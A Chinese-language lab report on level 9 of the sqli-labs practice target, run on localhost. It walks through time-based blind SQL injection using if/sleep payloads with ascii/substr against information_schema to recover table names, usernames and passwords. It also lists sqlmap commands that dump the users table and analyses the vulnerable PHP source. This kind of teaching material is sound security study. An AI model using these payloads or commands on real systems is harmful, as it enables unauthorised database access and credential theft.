sql-labs靶场第九关测试报告
目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、寻找注入点
2、注入数据库
①寻找注入方法
②爆库,查看数据库名称
③爆表,查看security库的所有表
④爆列,查看users表的所有列
⑤成功获取用户名和密码信息
3、sqlmap注入方法
①爆库
②爆表
③爆列
④爆字段
四、源代码分析
五、结论
一、测试环境
1、系统环境
渗透机:本机(127.0.0.1)
靶 机:本机(127.0.0.1)
2、使用工具/软件
火狐浏览器的hackbar插件,版本:2.3.1;
测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/
二、测试目的
测试get型的sql注入,时间盲注出数据库中的用户名和密码;
使用sqlmap爆破,熟悉sqlmap的参数。
三、操作过程
1、寻找注入点
根据提示,将id作为参数,值为数字

输入id之后,页面回显 You are in.....

测试符号
给数字加单引号 ‘ ,还是正常回显,不管输入什么,都是这样

只有时间盲注了,注入成功就停两秒刷新,否则立即刷新
添加1=1判断,页面两秒后刷新
?id=1' and if(1=1,sleep(2),0) --+
If函数会对第一个参数进行真假判断,真则执行第二个参数,假则执行第三个参数

尝试1=2判断,页面立即刷新
?id=1' and if(1=2,sleep(2),0) --+

2、注入数据库
①寻找注入方法
这关只有正常回显了,报错也不会显示
可以利用时间盲注进行注入
符合条件时执行if的true结果,不符合就执行false结果
依旧是结合length函数判断真假与否
?id=1' and if((length(database())>7),sleep(2),0) --+

?id=1' and if((length(database())=8),sleep(2),0) --+
由此可见,数据库名长度是8个字符

②爆库,查看数据库名称
?id=1' and if((ascii(substr(database(),1,1))>100),sleep(2),0) --+
?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+
Database()函数返回当前数据库
Substr函数提取数据库名的第一个字母,更改参数,提取第二个、第三个
根据布尔判断,逐渐缩小数据库第一个字母的ASCII码值的范围,直到确定ASCII码值是多少,从而确定是哪个字母,不断尝试可以得出数据库名(时间漫长)

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

③爆表,查看security库的所有表
?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))>100,sleep(2),0) -- +?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +
limit(0,1)是第一行,第一个表
依此类推,limit(1,1)是第二行,第二个表名,substr的第二个参数是起始位置,改第二个字母...第三个......,直到ASCII码值大于1都报错就是没有字母或者没有这行了
可以将所有字母拼接起来那就是所有数据库表名了
同理,确定表名的字母,慢慢拼……
使用inforamtion_schema数据库的tables方法查看本数据库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

④爆列,查看users表的所有列
?id=1' and if((ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 2,1),3,1)))=115,sleep(2),0) -- +
爆列同理
依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑤成功获取用户名和密码信息
爆字段值,查看username和password字段的所有信息
?id=1' and if((ascii(substr(( select username from users limit 0,1),1,1)))>1,sleep(2),0) -- +
?id=1' and if((ascii(substr(( select username from users limit 0,1),1,1)))>1,sleep(2),0) -- +
同理

3、sqlmap注入方法
①爆库
Sqlmap方法只需要把url的less-1改为9就可以了,结果都是一样的
盲注手注太费时间了,还是用sqlmap吧
Sqlmap稳定发挥,yyds
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 –dbs
使用python程序
-u 指定url
--dbs 是爆库的参数

②爆表
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security –tables
-D 指定数据库,在这个数据库里找数据表
--tables 爆表的参数

③爆列
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users –columns
-D 指定数据库
-T 指定数据表
--columns 爆破列名的参数

④爆字段
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users -C username,password --dump
-D 指定数据库
-T 指定数据表
-C 指定需要爆破的列名
--dump 爆破字段值的参数

四、源代码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }
}else { echo "Please input the ID as parameter with numeric value";}?>
1.error_reporting(0);函数,关闭了php代码的所有错误报告。
2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。Sql语句中给id值加了引号,因此,闭合符合为 ‘ 。
3.这里语句正确只会回显正确语句“you are in ….”,语句错误不会回显,利用时间盲注,可以根据页面刷新时间来判断是否注入成功。
4.Sql语句只取一行,注入时会把注释掉。
5.利用ascii函数和substr函数可以测出数据库内容。
五、结论
传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。
寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。
用sqlmap的话,需要把id参数带上,不然爆不出来。
这关使用时间盲注,利用ascii函数和substr函数可以测出数据库内容。
相关文章:
sql-labs靶场第九关测试报告
目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库,查看数据库名称 ③爆表,查看security库的所有表 ④爆列,查看users表的所有列 ⑤成功获取用户名…...
AI大模型的转折点,关注哪些机遇?
近期,人工智能领域取得又一突破性进展,OpenAI官方隆重推出了其最新力作——模型o1。这款模型的最大亮点在于,它融合了强化学习(RL)的训练方法,并在模型推理过程中采用了更为深入的内部思维链(ch…...
Stable Diffusion 常用大模型及其特点
SD(Stable Diffusion)的常用大模型及其特点可以归纳如下: 一、基础大模型 SD 1.x 特点:Stable Diffusion的早期版本,主要用于图像生成任务。这里的1.x表示1系列的主要版本,x是一个变量,表示具体…...
macos安装mongodb
文章目录 说明安装和配置安装mongodb配置PATH变量 验证日志及数据存放目录 mac启动和关闭mongodb后台启动失败问题mongodb-compass(GUI) 说明 Homebrew core 列表目前已经将 MongoDB 移除,不再为其提供支持。但是使用国内镜像的brew还是可以安装的!这里直接从官网下…...
IDEA基础开发配置以及和git的联动
1.1方向一:工具介绍 我今天要介绍的就是学习Java大部分情况下都会选择的一款工具-----IDEA,这个和我们熟悉的这个pycharm一样,都是属于这个Jetbrains公司的,虽然我对于这个并不是很了解,但是确实知道一点,…...
【前端】前端数据转化为后端数据
【前端】前端数据转化为后端数据 写在最前面格式化数组代码解释hasOwnProperty是什么? 🌈你好呀!我是 是Yu欸 🌌 2024每日百字篆刻时光,感谢你的陪伴与支持 ~ 🚀 欢迎一起踏上探险之旅,挖掘无限…...
LabVIEW回转支承间隙自动化检测系统
开发了一种基于LabVIEW软件的回转支承间隙检测系统,通过高精度传感器和数据采集卡,自动化、高效地测量回转支承的轴向间隙和径向间隙,提高了检测精度和生产质量。以下是对系统的详细描述与应用案例分析,希望能为有类似需求的开发者…...
数据结构-4.3.串的存储结构
一.串的顺序存储: 1.静态数组会由系统自动回收;动态数组需要手动回收; 2.优点:随机存取,可以立即找到所需的字符;缺点:插入和删除较麻烦; 3.串的顺序存储方案: 对于方…...
LeetCode讲解篇之34. 在排序数组中查找元素的第一个和最后一个位置
文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 这题让我们求目标值的左边界和右边界,我们可以采用二分查找搜索有序数组内大于等于目标值的最左边的下标 然后我们只需要在有序数组查找一下大于等于target的最左边下标 如果该下标越界或者下标对应…...
Linux自动化构建工具Make/Makefile
make是一个命令 makefile是一个文件 touch 创建并用vim打开makefile 写入依赖对象和依赖方法 mycode是目标文件 第二行数依赖方法 以tab键开头 make makefile原理 makefile中写的是依赖关系和依赖方法 clean英语清理文件 后不用加源文件。.PHONY定义clean是伪目标。 make只…...
自动驾驶系列—智能驾驶中的“换挡革命”:线控换挡技术详解
🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…...
.mallox勒索病毒肆虐:了解它的危害与防范措施
引言 在数字化时代,随着信息技术的飞速发展,网络空间的安全问题日益凸显。其中,勒索病毒作为一种新型的恶意软件,以其独特的加密方式和勒索行为,成为了网络安全领域的一大威胁。近年来,.mallox勒索病毒以其…...
如何使用ssm实现基于Java的民宿预订管理系统的设计与实现
TOC ssm773基于Java的民宿预订管理系统的设计与实现jsp 绪论 1.1课题研究背景意义 随着科技的发展,计算机的应用,人们的生活方方面面都和互联网密不可分。计算机的普及使得人们的生活更加方便快捷,网络也遍及到我们生活的每个角落&#x…...
光伏组件模型模板在SketchUp中如何完成成模数化设计?
选中模板组件,点击左侧工具栏中移动工具,按住Ctrl再依次点击组件起始点和终点,完成组件复制,输入需要复制的组件数量(*n)后回车,即可完成模数化设计。 选中模组的多块模型右键进行创建组件或群…...
常用组件详解(十):保存与加载模型、检查点机制的使用
文章目录 1.保存、加载模型2.torch.nn.Module.state_dict()2.1基本使用2.2保存和加载状态字典 3.创建Checkpoint3.1基本使用3.2完整案例 1.保存、加载模型 torch.save()用于保存一个序列化对象到磁盘上,该序列化对象可以是任何类型的对象,包括模型、张量…...
基于SpringBoot+Vue+MySQL的在线学习交流平台
系统展示 用户前台界面 管理员后台界面 系统背景 随着互联网技术的飞速发展,在线学习已成为现代教育的重要组成部分。传统的面对面教学方式已无法满足广大学习者的需求,特别是在时间、地点上受限的学习者。因此,构建一个基于SpringBoot、Vue.…...
前端开发在AI时代如何保持核心竞争力
随着人工智能(AI)技术的迅猛发展,前端开发领域正经历着前所未有的变革。AI辅助开发工具、自动化测试框架、智能代码补全等技术的出现,极大地提高了开发效率,同时也对前端开发人员的技能和角色提出了新的要求。在这个背…...
ffmpeg面向对象——拉流协议匹配机制探索
目录 1.URLProtocol类2.协议匹配的核心接口3. URLContext类4. 综合调用流程图5.rtsp拉流协议匹配流程图及对象图5.1 rtsp拉流协议调用流程图5.2 rtsp拉流协议对象图 6.本地文件调用流程图及对象图6.1 本地文件调用流程图6.2 本地文件对象图 7.内存数据调用流程图及对象图7.1 内…...
R语言绘制柱状图
柱状图是一种数据可视化工具。由 x 轴和 y 轴构成,x 轴表示类别,y 轴为数据数值。以矩形柱子展示数据大小,便于直观比较不同类别数据差异及了解分布。广泛应用于销售分析、统计、项目管理、科学研究等领域。可定制颜色、宽度等属性࿰…...
GNU/Linux - tarball文件介绍介绍
Linux 中的 tarball 文件是将多个文件和目录归档到一个文件中的常用方法,通常用于备份、分发或打包目的。术语 “tarball ”来源于 “tar”(磁带归档的缩写)命令的使用,该命令最初设计用于将数据写入磁带等顺序存储设备。如今&…...
终极Redis可视化工具:Another Redis Desktop Manager完全使用指南
终极Redis可视化工具:Another Redis Desktop Manager完全使用指南 【免费下载链接】AnotherRedisDesktopManager 🚀🚀🚀A faster, better and more stable Redis desktop manager [GUI client], compatible with Linux, Windows, …...
2027年非全日制国际商务硕士备考规划-暨南大学(珠海研究院)
2027年非全日制国际商务硕士备考规划 一、基本情况与备考总原则 个人时间画像 工作日:19:20到家,19:30-20:00吃饭休息,20:00-23:00为黄金学习时段(约2.5-3小时)。23:30前入睡,保证7小时睡眠。 周末…...
当企业规模增长后,IT管理为什么越来越“失控”?
在企业早期,IT 管理往往是“够用就好”。 一套简单的工单工具、一份资产台账、几个人工流程,就足以支撑日常运转。但当企业规模逐渐扩大,员工数量增长、系统复杂度提升、业务节奏加快时,原本“还能用”的 IT 管理方式,…...
效率飙升:借鉴Cherry Studio思路,用快马平台自动化你的前端工作流
最近在尝试优化前端开发流程时,发现Cherry Studio的工作流理念特别值得借鉴——把重复性工作交给工具,让开发者专注创意和核心逻辑。刚好体验了InsCode(快马)平台的AI辅助开发功能,发现它能完美实现这种高效工作模式。下面分享我的实践心得&a…...
PasteMD免配置环境:Docker镜像封装,3条命令完成私有化AI格式化服务部署
PasteMD免配置环境:Docker镜像封装,3条命令完成私有化AI格式化服务部署 1. 项目简介:剪贴板智能美化工具 PasteMD是一个完全私有化的AI文本格式化工具,它基于Ollama本地大模型运行框架和强大的llama3:8b模型构建。这个工具的核心…...
Zotero Actions Tags:自动化文献管理,告别手动标签整理
Zotero Actions & Tags:自动化文献管理,告别手动标签整理 【免费下载链接】zotero-actions-tags Customize your Zotero workflow. 项目地址: https://gitcode.com/gh_mirrors/zo/zotero-actions-tags 你是否还在为Zotero文献库中杂乱无章的标…...
Z-Image-Turbo-辉夜巫女显存优化技巧:在低配置GPU上运行大模型的实战方法
Z-Image-Turbo-辉夜巫女显存优化技巧:在低配置GPU上运行大模型的实战方法 你是不是也遇到过这种情况:看到一个效果很棒的图像生成模型,比如Z-Image-Turbo-辉夜巫女,兴冲冲地准备跑起来试试,结果一运行就提示“CUDA ou…...
避坑指南:深度相机与RGB相机标定中的5个常见错误
避坑指南:深度相机与RGB相机标定中的5个常见错误 在三维重建和增强现实开发中,深度相机与RGB相机的联合标定是基础却极易出错的关键环节。许多开发者投入大量时间调试标定结果,却因忽视了一些看似简单的细节而功亏一篑。本文将揭示五个最常被…...
实战AI情感分析:基于快马平台构建电商评论智能洞察系统
最近在做一个电商数据分析项目时,发现人工处理海量商品评论实在太费时费力。于是尝试用AI情感分析技术来提升效率,在InsCode(快马)平台上快速搭建了一个评论智能分析系统。整个过程比想象中简单很多,分享下具体实现思路: 系统架构…...
从IPv4到IPv6:除了地址变长,这些‘隐藏’特性(流标签、扩展头、无状态配置)你了解吗?
从IPv4到IPv6:除了地址变长,这些‘隐藏’特性(流标签、扩展头、无状态配置)你了解吗? 当大多数人谈论IPv6时,第一反应往往是"地址长度从32位扩展到128位"。但地址空间的扩展只是IPv6最表层的改进…...
